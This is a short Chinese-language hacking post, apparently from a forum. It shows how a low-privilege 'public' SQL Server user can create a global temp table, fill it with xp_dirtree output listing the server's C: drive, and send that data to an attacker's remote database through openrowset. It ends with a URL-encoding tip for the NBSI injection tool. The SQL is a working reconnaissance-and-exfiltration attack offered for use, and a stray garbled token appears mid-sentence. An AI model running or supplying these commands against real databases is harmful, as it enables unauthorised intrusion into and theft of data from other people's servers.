提起public權限的用戶估計很多人也覺得郁悶了吧~N久以前看了一篇《論在mssql中public和db_owner權限下拿到webshell或是系統權限》的文章(名字真長-_-!!!),裡面說到沒辦法利用xp_regread,xp_dirtree…這些存儲過程,原因是public沒有辦法建表,我在這裡矯正一下其實public是可以建表的,使這些存儲過程能利用上,071088b104HaKX8E看下面的代碼吧
--建立一個臨時表,一般的表我們是無辦法建立的,我們只能建立臨時表
#-----為本地臨時表
##----為全局臨時表
create table ##nonamed(
dir ntext,
num int
)
--調用存儲過程把執行回來的數據存到臨時表裡面
insert ##nonamed execute master..xp_dirtree 'c:\',1
--然後采用openrowset函數把臨時表的數據導到本地MSSQL 的dirtree表裡面了
insert into openrowset('sqloledb', '192.0.0.1';'user';'pass', 'select * from Northwind.dbo.dirtree')
select * from ##nonamed
以上方法,也就是說public可以遍歷用戶服務器的目錄
在NBSI中,只要把臨時表名加前加##就可以了,但要注意URL轉碼,即寫成:%23%23nonamed就OK了!